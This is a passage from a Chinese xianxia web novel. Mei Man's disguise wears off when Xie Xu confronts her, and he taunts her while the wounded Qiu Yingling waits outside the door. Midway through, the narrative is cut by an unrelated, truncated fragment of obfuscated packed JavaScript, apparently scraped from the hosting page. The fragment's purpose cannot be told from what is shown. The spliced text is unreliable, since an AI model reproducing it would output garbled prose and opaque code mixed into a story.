秋应岭一言不发,在这长久的静默中,他额头上的伤又渗出血来,沉甸甸压在眼皮上。 他眯着只眼,许久,忽然轻轻笑了下:“我会查清这件事。师尊,既然今天没有谈成,那再待在这里也没甚用处,我便先回宗去了。” “好。”话落,屏风后面的灵息消失无影。 秋应岭却没行动。 他动也不动,挑笑的眼眸始终盯着空荡无人的走廊。 半晌,他才起身。 - 一刻钟前。 梅满扒在门上,听着门外的动静。 忽地,门被人从外面打开。 好在她及时扶住旁边的墙,才没跌出去。 她抬起脑袋,恰好和谢序对上视线。 “啊呀,你是谁,也奇妙,咱俩长得挺像。要不是我有急事,还能拜个把子,结成异姓兄弟。”梅满装作若无其事的样子,起身绕开他往外走。 谢序一把扯住她,带进房间里,并顺手关上门。 他抓着她的腕子,死板的脸上瞧不出情绪,喊道:“满满。” 既然他戳破这事,梅满也不装了,猛地抽回手说:“是我又怎么样,你不是说不来,现在怎的又站在这儿。” 说话间,易容丹的药效也逐渐消失。 梅满清楚感觉到浑身的骨头都在嘎吱嘎吱响,没一会儿,她就恢复了原本的样子。 “一时的气话罢了。你既然已经给秋应岭带了话,我若是不来,你要如何向他交代。”谢序想起秋应岭那副血淋淋的样子,稍顿,“他找你——找我何事,又哪里惹了你来,要将他砸成那副模样。” 他提起这茬,梅满心底就又开始冒酸水了。 她很不痛快,牙也痒痒,哪怕百般告诉自己要冷静,也还是忍不住阴阳怪气道:“能有什么事,要想知道怎么不及时赶过来?谢序,你可真是命好啊。灵根坏了有人帮你惦记,巴不得直接给你重塑灵根,什么事都没做,在外门院劈两下柴就能得到青睐。你生在什么时辰,与我说说,下辈子也能投个好胎。” “满满。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“满满,打算把我当成什么呢?骂我几声贱骨头,就真以为我是条没情绪的狗,觉得好玩儿了就逗一逗,不想要了便一脚踢开,以为我只会乱叫几阵,然后安安静静地等着吗?”谢序往前一步,躬身附在她耳畔,声音放得很轻,“满满,满满,汪、汪、汪,好玩儿吗?” 他还故意学了两声狗叫,像在逗人开心。 梅满不可置信,这人在说什么啊?! 她往后退了步,却被他握住胳膊,再轻一扯,就拉回了退开的距离。 梅满眉心猛地跳了下,抬眸。 却见他扯出个压着讥讽的笑,那双黑洞洞的眼睛直直盯着她,里面更是没有半点儿笑意。 她下意识贴紧了身后的门。 门锁没扣紧,仿佛下一瞬就会被撞开。 一墙之隔。 “哎呀仙长!您这脸上,怎么、怎么伤成这样!”是店里伙计的惊呼。 “无妨,”秋应岭的声音从她身后传来,近在迟尺,他笑问,“方才来雅间的那修士,已经走了么?”